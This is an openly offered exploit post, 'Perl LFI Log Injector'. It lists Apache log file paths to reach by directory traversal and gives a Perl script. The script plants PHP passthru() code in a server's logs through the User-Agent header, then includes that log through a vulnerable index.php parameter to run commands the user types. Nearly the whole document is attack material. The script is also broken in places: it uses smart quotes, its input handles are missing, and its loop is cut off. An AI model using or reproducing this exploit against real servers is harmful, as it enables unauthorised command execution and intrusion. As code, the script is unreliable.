Perl LFI Log Injector

[sQuo]

With this script you can gain access to the system through log injection via local file inclusion

logs can be in different dirs

/apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

../../../../../../../etc/httpd/logs/acces_log

../../../../../../../etc/httpd/logs/acces.log

../../../../../../../etc/httpd/logs/error_log

../../../../../../../etc/httpd/logs/error.log

../../../../../../../var/www/logs/access_log

../../../../../../../var/www/logs/access.log

../../../../../../../usr/local/apache/logs/access_log

../../../../../../../usr/local/apache/logs/access.log

../../../../../../../var/log/apache/access_log

../../../../../../../var/log/apache2/access_log

../../../../../../../var/log/apache/access.log

../../../../../../../var/log/apache2/access.log

../../../../../../../var/log/access_log

../../../../../../../var/log/access.log

../../../../../../../var/www/logs/error_log

../../../../../../../var/www/logs/error.log

../../../../../../../usr/local/apache/logs/error_log

../../../../../../../usr/local/apache/logs/error.log

../../../../../../../var/log/apache/error_log

../../../../../../../var/log/apache2/error_log

../../../../../../../var/log/apache2/error.log

../../../../../../../var/log/error_log

../../../../../../../var/log/error.log

>#!/usr/bin/perl -w
use IO::Socket;
use LWP::UserAgent;
$site=”www.vulnerablesite.com”;
$path=”/”;
$code=” Passthru(\$_GET[cmd]) ?>”;
$log = “../../../../../../../etc/httpd/logs/error_log”;
print “Trying to inject the code”;
$socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or die
“\nConnection Failed.\n\n”;
print $socket “GET “.$path.$code.” HTTP/1.1\r\n”;
print $socket “User-Agent: “.$code.”\r\n”;
print $socket “Host: “.$site.”\r\n”;
print $socket “Connection: close\r\n\r\n”;
close($socket);
print “\nCode $code successfully injected in $log \n”;
print “\nType command to run or exit to end: “;
$cmd = ;
while($cmd !~ “exit”) {
$socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or die
“\nConnection Failed.\n\n”;
print $socket “GET “.$path.”index.php?filename=”.$log.”&cmd=$cmd HTTP/1.1\r\n”;
print $socket “Host: “.$site.”\r\n”;
print $socket “Accept: */*\r\n”;
print $socket “Connection: close\r\n\n”;
while ($show = )
{
print $show;
}
print “Type command to run or exit to end: “;